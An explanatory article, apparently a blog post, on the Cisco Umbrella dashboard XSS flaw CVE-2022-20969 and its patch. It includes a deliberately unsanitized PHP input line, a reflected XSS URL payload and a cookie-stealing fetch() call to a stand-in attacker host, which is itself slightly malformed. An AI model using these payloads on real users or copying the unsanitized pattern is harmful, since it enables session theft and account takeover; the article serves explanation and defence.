In late 2022, Cisco disclosed a serious security flaw in its Umbrella dashboard, listed as CVE-2022-20969. This vulnerability could allow an attacker to perform a Cross-Site Scripting (XSS) attack, potentially compromising both user data and organizational security. Here, we’ll break down what this CVE means, show proof-of-concept snippets, and provide references straight from Cisco and security researchers.
What is CVE-2022-20969?
This vulnerability affects several management pages in Cisco Umbrella’s web-based dashboard. It happens because the dashboard doesn’t properly clean, or “sanitize,” user-submitted input before displaying it back to users.
A successful attacker must be logged in to Umbrella, but once inside, they can inject malicious JavaScript. If they send a crafted link or form to another logged-in user—and the user clicks it—the injected code can run in the browser. This compromises data and lets attackers impersonate the victim, steal information, or take over the session.
What Causes the Bug?
The core issue is unsanitized input being directly embedded into web pages. This is a textbook XSS flaw, where input gets reflected in the frontend without removing potentially dangerous tags or scripts.
For Example
Suppose you have a form or a querystring parameter that the dashboard uses and later shows on the page, like a search box or settings input.
Here’s a simplified case
<!-- Suppose this snippet was in the actual dashboard code -->
<input type="text" name="query" value="<?php echo $_GET['query']; ?>" />
If the value of query isn’t sanitized, submitting this payload
https://dashboard.umbrella.com/page?query="><script>alert('XSS')</script>;
will lead the dashboard to serve
<input type="text" name="query" value=""><script>alert('XSS')</script>" />
Result: The browser pops up an alert, proof that the JavaScript executes.
`
The simplest XSS test is
"><script>alert('XSS on Cisco!')</script>
Injected through any user input, such as a search field, username, or URL parameter, this payload causes an alert dialog. A real attacker could swap alert() for code that secretly extracts cookies or sends information to an external server.
Example JavaScript Stealer
<script>
fetch('https://evil-attacker.com/stealer?cookie='; + document.cookie);
</script>
With this, an attacker could steal session tokens and potentially hijack logged-in sessions.
Who’s At Risk?
- Authenticated Users: Attackers need to log into Umbrella to inject payloads. Internal threats, disgruntled employees, or anyone with temporary access pose a risk.
- Organizations Relying on Umbrella: If admins browse dashboard links from untrusted users, they’re especially vulnerable.
Official References
- Cisco Security Advisory
- NIST NVD CVE-2022-20969
Is There a Patch?
Yes. Cisco quickly released updates to fix this vulnerability. If you’re running Cisco Umbrella, make sure you have the latest patch applied to avoid XSS risks.
Keep Cisco Umbrella and all software up-to-date.
- Educate users: Teach them to avoid clicking suspicious links, even inside an authenticated dashboard.
Conclusion
CVE-2022-20969 is a classic example of why input validation and output sanitization are mission critical for web apps—even for dashboards used only by logged-in users. With just a crafted URL, attackers could make browsers execute their own code, leading to serious data and privacy breaches.
If you use Cisco Umbrella, patch now and stay vigilant for similar web application threats in your stack.
Links to Learn More
- Cisco's Official CVE-2022-20969 Advisory
- Cross Site Scripting (XSS) Explained – OWASP
Timeline
Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/08/2022 15:19:00 UTC